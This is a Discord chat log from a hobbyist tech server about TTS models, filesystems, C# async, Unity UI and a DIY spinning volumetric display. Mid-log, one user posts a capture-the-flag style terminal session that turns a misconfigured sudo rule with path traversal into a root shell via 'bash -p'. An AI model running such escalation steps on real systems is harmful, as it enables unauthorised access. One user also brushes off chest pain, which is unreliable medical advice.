https://cdn.discordapp.com/emojis/1368816094315417682.webp?size=48&animated=true&name=SMH&lossless=true

[tawdry glade]

thanks

[rigid snow]

opposite (other end?) of you're asking for but i was looking into tts like literally earlier today and kyutai (the moshi folks) have a tts model that's built for streaming text into it. it starts to generate and output audio before the entire text it's supposed to speak is there. they have a paper on the arch too
https://huggingface.co/kyutai/tts-1.6b-en_fr

[tawdry glade]

oh that icon in the top right

[sage crag]

ye

[wary mauve]

goated ill look into it ty

oh yeah I had a look at kyutai, saw their realtime application they wrote

pretty cool, will mostly likely have to write my own wrapper for it

[rigid snow]

where top right

oh here

[real sierra]

uuuuu

[sage crag]

uuu

https://tenor.com/view/30000-usd-gif-13674633028161831364

[rigid snow]

[rigid snow]

why am i famous all of a sudden

[hard delta]

mlnt can

[quasi furnace]

I edited the message you replied to bc its kinda long

[rigid snow]

isn't kovaaks unreal engine

it is

[rigid snow]

use a ue mod loader ui will be hell to reverse

ue mod loader landscape seems dire tho

[nocturne olive]

If I ever get a hard drive big enough that I can move around 8TB of space onto and off of it, I think I know what I'll be doing, that being I'll move everything off of my weird NTFS 8TB drives and convert them to EXT4 or something

NTFS is so scuffed on this thing

I just had it completely lock up on me while I was trying to archive old stuff

Well I definitely lost some of my old Minecraft copies to that

The total went from like 90GB to 30GB

[fiery anchor]

Windows, i mean Copilot OS, has to die out. And then there is no longer a necessity for NTFS.

[velvet crest]

You have unlocked new role

[silent cloak]

https://tenor.com/view/true-truth-nuke-super-truth-nova-truth-meme-gif-16889273424352737553

[nocturne olive]

It's only NTFS because it used to be Windows and I don't have the drive space to move things somewhere else to reformat

[silent cloak]

im in a similar boat atm

[nocturne olive]

I really need a 22TB drive so I can completely refactor my entire system

[fiery anchor]

For me shared drive for dual boot at work.

[silent cloak]

im debating on going to some auctions to score some storage

[amber fractal]

I'm glad I don't really archive much so I don't have to handle reformatting being bad

[quasi furnace]

yeah ue4

[quasi furnace]

I seeeeeeee

I shall look into that then

[mossy fossil]

you can in-place upgrade from ntfs to btrfs iirc

[amber fractal]

I honestly do wish there was just a filesystem that windows didn't try and be stupid with but is actually decent for storage.
looks over that btrfs for windows okay maybe with first party support mabe

[opaque sigil]

trying to convert from ntfs to btrfs in-place sounds like a disaster waiting to happen

[fiery anchor]

ye. So shady that you'd make a backup. And if you have a backup, you might as well wipe and do it properly. (Maybe besides huuuge storage edge cases)

[autumn ore]

vedal hasnt responded to my email yet

[real sierra]

C#

why can i not await an async function that returns void

thats so dumb

[opaque sigil]

[sick owl]

Jesus christ Roku

The thing isn't even in active use

[nocturne olive]

Yeah and to have a backup I'd need to find a spare 8TB of storage from somewhere

[opaque sigil]

don't async functions have to return a task or whatever it was called in c#

[nocturne olive]

Godot would (probably) fix this

[fiery anchor]

from what i gather from the docs, it doesn't know what to wait for, async void is for fire and forget. Kinda makes sense, i guess?

[real sierra]

wait for it to finish

[opaque sigil]

idk why they couldn't do it like in rust where it implicitly returns something that implements future

or maybe they just don't want to, oh well

[nocturne olive]

I was wondering why "useless-drive" was working so fast
Then I remembered I reformatted it to EXT4 since it's only 2TB and there was literally nothing of value there

[fiery anchor]

Doc say everything in the void function runs in the same event handler until the first await. everything after that runs at a unknown time, and the original event handler returns. Returning a task would be like returning a future, but has to be explicit.

i swear everything where microsoft has meddled with only "somewhat" works, but never the way you'd expect.

[real sierra]

doc?

[fiery anchor]

Am i allowed to share a link?

[real sierra]

links in general are fine

just don't link to any malicious or illegal content

or content that would break any of the rules

we might nuke files that we can't verify the safety of

[fiery anchor]

well it is a microsoft devblog. some might consider that malicious

https://devblogs.microsoft.com/oldnewthing/20170721-00/?p=96665

[amber fractal]

Chat ban this user for Microsoft link (real)

[fiery anchor]

[fickle rain]

Raymond Chen is based tho

[olive sable]

Goodmorning

Idk how but i hurt one of my lungs

[fiery anchor]

not good?

[olive sable]

Its probably fine

[nocturne olive]

There are no longer any Windows installs on this device (I deleted the one that was)

[unkempt citrus]

As long as it's not chest pains

All chest pains are considered emergencies

[olive sable]

It just hurts if i breathe in too far

[amber fractal]

Discord once again doing a thing (it doesn't exist here don't bother checking)

This is in only one server that I have and arguably the most useless one

[unkempt citrus]

one side or both sides?

[olive sable]

right

[unkempt citrus]

Might be a collapsed lung

[olive sable]

good thing i have 2 of those

[unkempt citrus]

Relatively easy to treat, but you do need to get to an ER

[fiery anchor]

could be a lot of things. Might wanna get that checked, even if it turns out to be nothing serious. Better safe that sorry.

[amber fractal]

agreed there

we don't need to lose our triangle man

[unkempt citrus]

Again, any chest pain is considered an emergency

[obsidian mantle]

Its just a nerve acting funny

Sometimes it lasts for a day but eventually it disappears

Sometimes it can be fixed by forced deep inhaling

We breathe air thats 40% microplastics and 50% car exhausts

I would panic if it lasted more than 3-4 days i think

However its probably too late if it hurts like that

Embrace the fate

[warped narwhal]

Nah, I wouldn't chance it. The last time I had chest pain I thought I just hit my ribs weird at work, but it turned out to be a swollen heart. Even if you just call whatever medical hotline your country has (e.g. the NHS 24 hotline in the UK) and talk with those guys, and they'll let you know whether you need to go further with it or not

[kind nimbus]

I couldn't help myself but heard Vedal screaming Samurai constantly in my head

❯ ssh samurai@192.168.161.90 "bash --norc --noprofile"
Setting up xterm-ghostty terminfo on 192.168.161.90...
samurai@192.168.161.90's password:
id
uid=1001(samurai) gid=1002(samurai) groups=1002(samurai)

sudo -l
Matching Defaults entries for samurai on seppuku:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*

bash -p
id
uid=1001(samurai) gid=1002(samurai) euid=0(root) egid=0(root) groups=0(root),1002(samurai)

[keen ravine]

holy path

[young oyster]

Fun fact: the s in my name stands for samurai.

[maiden geyser]

what do other letters in your name stand for

[jagged turtle]

SAMURAIIIIIII

[olive sable]

FF14 worked fine, then it got lag spikes followed by it crashing my entire pc, and now it runs at 2fps

probably an nvidia issue

[autumn ore]

It happens to me, it’s just temporary pain, don’t know what causes it but it goes away after a while

[kind nimbus]

https://tenor.com/view/sds-gif-20505870

[young oyster]

Back on mirc in the early 2000s I went by the name "the_ultimate_samurai" which was shortened by those talking with me to tus, the rest comes from riceroni...I will not elaborate on that one.

[maiden geyser]

uncblud

[young oyster]

My name before that was "pokemaster_20_00" but after 2000 I felt it should change it.

I changed to tuseroni because the_ultimate_samurai didnt always fit in usernames inputs.

[real sierra]

making games takes so long

game jams seem literally impossible

idk how people do it

[olive sable]

there is a reason we dont make online games in game-jams

i also make my custom engine stuff beforehand so im not slowed down by any engine stuff

[real sierra]

it's not even networking right now it's just ui

I wanted a dropdown and I thought I was saved when I saw unity has a built-in dropdown component

but alas it spawns a tree of 7 GameObjects and doesn't tell you how to configure any of them

[olive sable]

for UI in the jams, i litterally just put an image onscreen and did if click and x1 < mouse.x < x2 and y1 < mouse.y < y2

[real sierra]

yeah that's the sort of thing i've done in custom GUI engines

i did that with minecraft opencomputers

[young oyster]

Yeah, I've been working on mine for the past like year and 3/4, and im close to a demo...

[olive sable]

there's no need to xdx, thats a good way to do it

thats just how its done

[real sierra]

the was for my application, not the technique

just got back to my PC and 7 was an understatement

this is what unity makes when you add a dropdown

[olive sable]

shiro what are you doing?

[amber fractal]

OOP objecta

also known as not html

[real sierra]

all that for this

took like 45 mins to get those colours right

[olive sable]

for UI and HUD i feel like OOP is such a waste

[real sierra]

trying to figure out which object needed its colour properties edited

[olive sable]

id just have one class managing everything

[real sierra]

i don't mind OOP UI but this is just done so wrong

[amber fractal]

I'd take html over this

[young oyster]

If you know html, you might look at ui builder

[real sierra]

the issue with unity's UI system is that they cant seem to decide if they want the system to be component-oriented or gameobject-oriented

so various functions are haphazardly sprayed across multiple gameobjects and components

[olive sable]

[real sierra]

and of course, your options for documentation are either "nothing" or "everything"

[amber fractal]

my ui builder is projecting an html page into the project, because if I'm using an engine then I already accepted it isn't going to run fast.

[olive sable]

i feel like my custom engines might have actually been a time saving measure instwead of slow from the sound of it

[amber fractal]

I am talking nonsense but my feelings are real

[olive sable]

ui is just like 2 triangles with texture mapping

🔺🔻

[amber fractal]

the inside might be jank but at least I get to choose how to execute it

[young oyster]

Some of my earlier ui, this is all done in ui builder

I ended up making big changes to the inventory since then, but I dont have any nice pictures of those.

[amber fractal]

crystals with different qualities
It is my belief it is too much visual noise to have that type of duplicate.

I do wish I had a better solution to that class of thing.

[young oyster]

Yeah, like I said I changed the inventory since then, now there's a bunch of boxes you can put items in to organize them, and a view thats just all inventory you have in a list with a drop down showing the location (you can move them by changing the drodown)

I have made clear visual distinction of lq vs mq and hq crystals, but i have a LOT of sprites to clean up. There's not just 3 qualities there is also 4 tiers of rarity and 5 elements.

[amber fractal]

I respect the grind

[young oyster]

So thats 60 sprites, then conduits are worse yet, only 3 tiers but each one has 16 sprites...so...16x5x3

Most of my time though has been learning electrical engineering and creating an engine for circuit simulation that takes into account the 5 elements and their interactions.

[amber fractal]

[real sierra]

i have to add a new field to the persistent player data

there goes my password time to learn the new one

[amber fractal]

I can see that considering my own side project. Haven't gotten into doing magic and circuits together yet, but one day I will.

[real sierra]

i do have to praise C# for its syntax

it makes some otherwise tedious functions very concise

[ServerRpc]
    public Task<PlayerStatsModifiers> ClientGetModifiers(RPCInfo info = default)
    {
        return Task.FromResult(TryGetAccountTemp(info.sender, out var accountTemp) ? accountTemp.FinalModifiers : null);
    }

[young oyster]

Here is an example of one of the early puzzles, it was a lot harder to do with the lq materials you have at the start, which is why there is so many branching lines. The runes along the edge are emitter runes, they emit power as directed energy, in this case Thermal Energy (fire) the green lines are wood, wood amplifies fire increasing power to the emitters (but may damage the lines) the runes next to the crystals are switch runes, they do what you might expect

Oh and that is a resistor by the switch to the left, it keeps the line from frying.

Each inch of line has about 0.1 ohms of resistance, so the shorter path at the left needed an added roughly 0.6 ohms to make up for the loss (probably coulda used less, but 0.6 ohms did the job)

The same puzzle solved with HQ materials. Those crystals are in series, BTW. THAT was a pita to figure out how to do.

[unkempt citrus]

Adderal

[young oyster]

oh, i should mention, the crystals are power. emitters and similar runes are considered ground, there is no return circuit and all conduits are diodes (so current only flows in one direction...sadly this means no AC. it's on my radar to figure out how to integrate AC...) the base conduits, the poor conductors, have a resistivity of...iirc 0.05 or 0.005 s/in for a resistance of around 0.1 ohms (though i have some intention to include layering when i can figure out how...which could increase the height and thus cross-sectional area, reducing the resistance, but idk that i need to, since the next level up, the good conductors, have a conductivity around that of copper, and the superconductors...well they have a resistance of 0...they aren't in the demo)

[stiff mica]

🍪 Om nom nom
You've given me 5 cookies! | I've received 273426 cookies total!

[quick condor]

Story of my project, Adderall, Nicotine, and energy drinks... Occasionally the project annoys me enough to indulge in the art of Vedal... Alcohol

[young oyster]

I liked coding to the subathon when it was going on, before that was music and after its neuro/evil music (world.execute(me) is great to code to, and crazy fuckin robot body)

Also copious amounts of caffeine, possibly lethal amounts...

OK I did the math: not lethal for my body weight. And its not THAT bad, like 0.5 grams/day. Ld50 is 0.192 grams/kg of weight.

[true hemlock]

frog's voltage tuning on the 3090 i bought

pretty good of a 3090 huh

2.1GHz at 950mV seems nice

also already above 1.8GHz at 775mV so i suppose that's comparable or even better than most OC models

not sure if this ones an OC model

but that's a hell of a decent silicon lottery i suppose

[opaque wharf]

Man I really wish to have a helping hand right now

Got 150 more to go

[young oyster]

Like a person or one of these

[opaque wharf]

A person. Unless that little fella somehow come alive and can help me cut and peel of this sticker

Scratch that, having an eye the size of that would be terrifying

[young oyster]

I have one of those, they are great for holding materials together for soldering.

[autumn ore]

I

AM

BACK

[opaque wharf]

Indeed they are. I do have them somewhere. Still cleaning up this place

[young oyster]

Everyone has them SOMEWHERE...idk where mine are either.

[olive sable]

i wonder if someone will add neuro integration to the razer cylinder thing

[amber fractal]

Doubt it, but I'm open to be wrong

[opaque wharf]

Well, neuro already has 3d model so vedal could technically built another merch. Volumetric display of neuro

[olive sable]

its basically jsut an external display with a camera. and somehow it can also see your screen???

razer thing isnt volumetric display

[opaque wharf]

This would be sick ngl

[olive sable]

the razer one is just flat lcd

[opaque wharf]

Dang

[olive sable]

its really suprising to me i have to break that news to people

to me it was obvious at first sight

[opaque wharf]

Vedal, make a volumetric display for neuro with a camera for collab partner

Actually, I wonder if I could make that. I have some spare FPGA lying around somewhere

[olive sable]

problem with volumetric displays is that they're pricey as fuck

to the point where its not even worth considering as a merch line

unless they find an existing one and put decals on it

[opaque wharf]

Man, now I want to make a Neuro lantern. A volumetric display with camera to bring neuro around

Sam, what is the volumetric display that we debated before? You still have the link?

[olive sable]

the sony one?

https://www.youtube.com/watch?v=5f4WSrds7aE

the problem is that these arent for sale

[opaque wharf]

Yeah, I just want to know the dimension and spec for high end one

And see how viable it is with the parts I have lying around

[olive sable]

the only type of volumetric display currently for sale are ones with LEDs https://www.voxon.co/product-page/voxon-vx2
and ones that focus on only 1 specific viewing angle by using a camera https://lookingglassfactory.com/looking-glass-27

if you want one that looks good from 2 angles at the same time, and its not 144p, then you're already at stuff thats not being made

[amber fractal]

Why is this oversized 3ds so expensive smh

to be clear, this is about the 3d to one angle

[opaque wharf]

Alright, 900 rpm is not that bad. The problem is the display. I think transparent OLED would be the best for this use cases

[olive sable]

ye

[amber fractal]

you also need very fast response times on those pixels

otherwise your getting blur instead of image

I'm not sure how one would wire that display. Seems difficult to figure out how to do it with it spinning.

[visual pawn]

There are ways, like how you have spinning houses with plumbing that still works

[opaque wharf]

I think that is doable. 900rpm means 15 rps. So each rotation takes about 60ms. To traverse 360° in 60ms means if we have 1ms response time then the blur would be around 6°

[olive sable]

bad math

[opaque wharf]

Coil. OLED is quite low power for scenes with mostly black/transparent

[amber fractal]

tbh I was more on data lines

[opaque wharf]

Slip ring?

That could work too, but that is a failure point that I'd like to avoid

[amber fractal]

Yeah that'd work. One things for sure, your not throwing an entire display signal at it

[olive sable]

at a circumference of pi*256mm thats 3600 pixels / 804mm or 113PPI
i think that math checks out it doesnt

[opaque wharf]

Ohh right, the signal. Didn't think of that one

[amber fractal]

that was my first concern

[opaque wharf]

Alright, hear me out. Spin then entire assembly

[amber fractal]

I like this one

[opaque wharf]

So the motor, battery and display are all on a platform. The case is just acting as a rail

[olive sable]

thats just using LEDs on a transparent spiny boy

[opaque wharf]

Isn't that what volumetric display is basically about currently?

[amber fractal]

That is one of the apporaches

[opaque wharf]

Oh, nvm. I remember someone also made a piston movement one (translational)

Oh shit the camera

Can't spin that one lol

[amber fractal]

On the housing

[opaque wharf]

Yeah but, how would I transfer the data? Wirelessly?

Think of the L word man

[olive sable]

you could jsut send power and do the data wirelesly

[amber fractal]

also the L word

[opaque wharf]

Maybe if I use the one that is usually used for RC

A dedicated 5GHz video transmitter

For a distance of... 10-15cm

[amber fractal]

I'm betting battery doesn't need to spin and we can coil enough for the controller board, The only issue would be shielding imo.

[olive sable]

Most modern 3D hologram fans and advanced DIY projects use wireless communication to avoid physical wear
so ye thats jsut how the industry does it

those spinning fan toys just keep the preprogrammed images on the fan itself

[amber fractal]

so that'd mean having a microcontroller at the base

[opaque wharf]

Hmmm, that would be a problem because the motor would draw a ton of power

[opaque wharf]

Alright, time to browse local marketplace lol

[amber fractal]

Why are we spinning the motor?

[olive sable]

the spinning leds is the cheap way to do it (already at $6.800) but imo they dont look good

no spinning the motor

[opaque wharf]

Oh, so you have 2 separate compute unit then? One on the platform and the other at the base?

[amber fractal]

Yep

[olive sable]

one receiver, one transmitter

[opaque wharf]

Hmmm, if we are doing RC transmitter anyway, that would make sense yeah

[amber fractal]

but also just having display logic separate from the motors and batteries for weight

[opaque wharf]

God damnit, they don't have transparent oled here

[olive sable]

if we throw budget out the window, lightfield displays have wayyyy better resolution

[olive sable]

oh you were gonna go oled?

[opaque wharf]

They have but only this size
https://tk.tokopedia.com/ZSaJeXMRd/

[amber fractal]

I see a boi but I will execute any chatter that says 128x56 is acceptable

https://www.crystalfontz.com/product/cfal12856a00151b-128x56-transparent-oled-screen

[opaque wharf]

Yeah, I am limited by the technology of my time

[opaque wharf]

The link I sent at least 128×128

[olive sable]

https://askdisplay.en.made-in-china.com/product/cGTrYLVDJuWF/China-Transparent-OLED-Screen-15-6-to-86-Inch-Showcase-Door-Open-Front-Window-3D-Display-for-Products-Display-Accessories.html?pv_id=1jf5fi3m7e51&faw_id=1jf5fikg9161&bv_id=1jf5fikgcf0a&pbv_id=1jf5fi2tkb74m
we love long links

[opaque wharf]

I don't want to go discrete led route unless I can make the led very smol

[opaque wharf]

Ye that's the thing. I don't want to import stuff and deal with custom for this project

[olive sable]

i think 15.6 inch might be too big to spin around at 900rpm

idk

[amber fractal]

give me a minute

[olive sable]

we also need to keep the edges of the dispalys transparent or that will cause a blur in the image too i think

[amber fractal]

no leads from that video

[opaque wharf]

It's not

[amber fractal]

nah that is fine

[opaque wharf]

900rpm is manageable. Add some reinforcement around the edge and we good

[olive sable]

you will def have to attach it to something

like a piece of acrylic

[opaque wharf]

Indeed

Was gonna suggest that

[olive sable]

this one seems to be flexible

[amber fractal]

not as expensive as I was expecting actually

[olive sable]

i think 15.6 inch is too big tbh. that specific one also had ribbon cables coming from the other side for touchscreenor whatever

i think id want a smaller one and not have touchscreen

[amber fractal]

touchscreen doesn't have much issue imo

it just exists

[opaque wharf]

350 for minimum of 2 piece. So 700 at minimum that I have to shell out just for the display. Naah I'm good

[amber fractal]

besides cost

[olive sable]

you can hide the cable away i guess

epic embed failure

[finite ledge]

https://cdn.discordapp.com/ephemeral-attachments/1059569601144442911/1461995406899806249/petpet.gif

https://tenor.com/view/michael-bay-explosion-gif-13914633

[olive sable]

gave me a jumpscare tho, i thought it was a scam link

[opaque wharf]

https://tenor.com/view/neurosama-evil-neuro-embed-failure-gif-15456327638408323033

[finite ledge]

na

its a bot idk but its gif not loding?

[opaque wharf]

But man, the prospect of colab partner holding out neuro lantern is just too tempting

[finite ledge]

https://cdn.discordapp.com/ephemeral-attachments/1071784467036913664/1461995812073504972/petpet.gif

[amber fractal]

brother that is a projector... Wait a minute

[finite ledge]

NOT LODeING IDK

[opaque wharf]

You spin a directed light from the center

[amber fractal]

bois, if we are spinning the entire thing anyways

[opaque wharf]

What? What is your idea?

[olive sable]

[amber fractal]

why not just go the upclose projector route. Wouldn't have to search for a dedicated transparent oled

[olive sable]

wdym up-close projector route?

[opaque wharf]

Spinning a light very close to the wall

But it won't be see through

[amber fractal]

the video I ran into just used acrylic as a projector surface and had one of those throw projectors

[opaque wharf]

Wait, how?

[olive sable]

you'd need to spin the projector too tho

[amber fractal]

https://www.youtube.com/watch?v=-HLhCtlKWJE speedrunning this vid

[olive sable]

ok so that works in some ways, but if you do volumetric you need arefrsh for each slice of the pie

[amber fractal]

I see it is some special material

[olive sable]

lets say 30hz, and you have 100 slices, you need only half of those slices since the screen is at both sides, so 30 * 50 is 1500hz projector you need

[amber fractal]

I'm not using it as a 3d projector

I'm just using it normally on a spinning transparent surface

[olive sable]

thats the exact same thing tho

your projector still needs a different image for each viewpoint

if you keep the same image for the entire rotation it wont work

[amber fractal]

That is an issue no matter what tech is used

display or projector

[olive sable]

displays are a lot easier to get higher refresh-rate of tho

[amber fractal]

true, back to finding something decent

[olive sable]

the most you'l get form a projector is 240hz at 1080p

and thats cuz they're designed to do 4K at 60 but they turned of the mirrors to split the image in 4

[amber fractal]

and I doubt we can get any faster by doing more sacrifices

https://www.aliexpress.us/item/3256807797385510.html?gatewayAdapt=glo2usa4itemAdapt Why are you yellow

there is no red

[olive sable]

monochrome could be a good first step

[amber fractal]

If there was red then RGBW was an option, except there is only yellow

[olive sable]

those are at least 128x128

not too bad comapretivly

[amber fractal]

for not insane cash ye

[olive sable]

we're gonna need to put some stuff in the base that gets rotated too

mainly wireless receiver, a battery, and display driver

[jagged turtle]

did someone reply to me with an embed fail

[olive sable]

apparently

the only other issue with getting these dispalys, is that the refreshrate needs to be high

[jagged turtle]

ig

[olive sable]

i know that lower res oleds can go faster

so 256x256 if possible should be fine

[amber fractal]

https://www.aliexpress.us/item/3256809750824353.html lets go gambling

128x64 square bois seem common for some reason

also touchscreen, that is detecting a singular finger is on it LOL

[olive sable]

you need to be carefull of the interface if you want to get high refreshrate

[amber fractal]

SPI

[olive sable]

that one is SPI, so 60-90hz if i had to guess

[amber fractal]

SPI is a general purpose bus

but to the display itself, your limited by probably how fast the display can recieve data

however, it has a buffer

[olive sable]

lets say we aim for the 120 viewpoints liek the one sony had, that means we have to refresh the screen 60 times per rotation

at 30hz volumetric refreshrate, thats 1800hz.

[amber fractal]

you also do not have to refresh the entire buffer

[olive sable]

so thats probably not achievable

[flint dome]

https://youtu.be/Ozzpirkhi5c?si=F5en0rNjE5_hM53_

Has this guy been posted here before

[olive sable]

thats using the rotation leds idea

honestly thats probably the best method to get soemthing working

[flint dome]

There was also an idea to use acoustics to vibrate something to achieve holographic images

https://youtu.be/hCC1C5KIeUA?si=RqxGDzcHslD4mTfk

[amber fractal]

I don't think it is impossible, but it also is going to require a lot of trickery.

[olive sable]

the way this works is by getting a particle thats light enough to be able to be influenced by vibrations in the air

i dont think its sable in a everyday environment

car passes by and its off

[flint dome]

there was also this "hack" of a hologram some guy built

https://youtu.be/uxyZkDExpwY?si=OMUekIoV9AUI50m8

[amber fractal]

partial buffers, reducing the color space, and praying the display can refresh that fast.

Sounds like something I can do

[olive sable]

either aftereffects, or the camera movement is needs to be exactly in the right location while the videos are synced with eachother

not a real 3D

[sage crag]

https://tenor.com/view/30000-usd-gif-13674633028161831364

[flint dome]

(Not built more he's just the clipper)

[flint dome]

its just an eye tracker with monitors lol

[amber fractal]

Sure, I wonder what use case I have for these 4 4k portable monitors

My english is getting worse

[amber fractal]

[flint dome]

I'm just giving examples, not suggesting actual stuff you can build

Most of these are just "we built it because we can" but if you want to build one then the guy who got doom running on his display is the best one since he also has a build guide

[olive sable]

didnt they go past the view of the camera tho? unless there's a camera offscreen somewhere

[amber fractal]

It is on his face (real)

[olive sable]

it at the very least had to be trackign the camera and not the person

cool tech tho

[flint dome]

hmmm then I don't know
The description links the company of the product see if you see something there

[olive sable]

it is cool, jsu tnot really what we're going for

[flint dome]

Yeah then your best bet is spinny thing

[olive sable]

eye trackers mean there's only 1 persona ble to see the right thing at a time

[flint dome]

I think even the software stack for it is plug and play he just shows you have to tune the rpm provided you build it like he does

On a related note, how can someone like me play vr with correcting glasses because I can't see shit without them

[amber fractal]

[olive sable]

ghost ping

[olive sable]

honestly. LED seems like a more sure bet than OLED. purely due to the refreshrate issue

[flint dome]

who ping

[amber fractal]

someone did, too fast to see

[olive sable]

some green named person that immediatly deleted their message

or got their message deleted

[flint dome]

what do you mean "prescription lens inserts" like i didn't pay for my fuckin glasses and vr headest so much already you want me to spend MORE???

[olive sable]

ye

[amber fractal]

the person being pinged was the_random_mat

but didn't catch the person who did it

[flint dome]

I like to imagine the mods sitting nearby with a rifle in hand, makes it funnier

[amber fractal]

I either suffer or

[olive sable]

no much else you can do. getting the lenses in your vr headset corrected for your bad eyes is even more expensive

jsut wear glasses underneath the headset or use contact lenses

[flint dome]

great i can't waste my hard earned money anymore

my glasses won't fit in the headset and I don't use contacts

[amber fractal]

This is hell on the mounting pressure

[flint dome]

If i ever do get contacts then I might just buy a vr headset

until then real life is very nice for me

[amber fractal]

the entire headset now is on that nose bridge, the ear sections are forced into your skull

I'd almost rather not be able to see

[olive sable]

ok to make the resolution decent

transparent microLED

[opaque wharf]

Ohhh right there is this tech

But it would blow the budget

[olive sable]

as long as it less than 2K

[opaque wharf]

OLED is older and more mature so the tech got cheaper. Don't know how cheap microLED is now

Let's surf random chinese marketplace again

[amber fractal]

There is the dark side... Map the room around it and overlay it in. Just as a hailmary approach.

[olive sable]

OLED is technically able to go to higher refresh-rates, but the driver electronics cant do it.
since you need to put all the power into the oled itself instead of most of it going tot he back-light

[amber fractal]

"She can see all of your room, even the stuff you tried to place behind her"

[opaque wharf]

And microLED doesn't?

[olive sable]

active matrix vs direct drive

[opaque wharf]

I am curious would prying off a secondhand OLED screen works

[olive sable]

?

[amber fractal]

mabe, depends on if the black layer is seperate from the led one or not

[opaque wharf]

OLED technically doesn't need the opaque black background. Just need to find one with the power of the sun brightness

[olive sable]

oh i see

still oled wont have the refreshrate you'd want for something liek this

transister per pixel and all that

[amber fractal]

I'm aware transparent oleds are built slightly different to regular ones, components moved behind the LEDs and stuff.

[opaque wharf]

LG 27GX790A-B is 480Hz

[amber fractal]

half res gives us 4x refresh rate on signaling side

[opaque wharf]

But it is too big. At that point i won't be neuro lantern anymore lol

[olive sable]

480hz, and our volumetric screen being 30hz, that would get us a final 2 * 480/30 so 32 angles

so a new image for every 11.25 degrees of rotation

[amber fractal]

I got an alternate idea

[opaque wharf]

Hmmm, could be better

[amber fractal]

portable displays share a driving board. At 720p I hit a board limit of 500hz

for a "4k 60hz" display

[olive sable]

i think for oled you're limited by the resisters used inside of the screen matrix itself

transisters

not resisters but transisters

[opaque wharf]

It is spelled with o btw

[amber fractal]

https://www.amazon.com/Clearview-J15SE1220-Transparent-Television-Resolution/dp/B0CVMKBWGH

[olive sable]

patato transister

[opaque wharf]

Transistor and resistor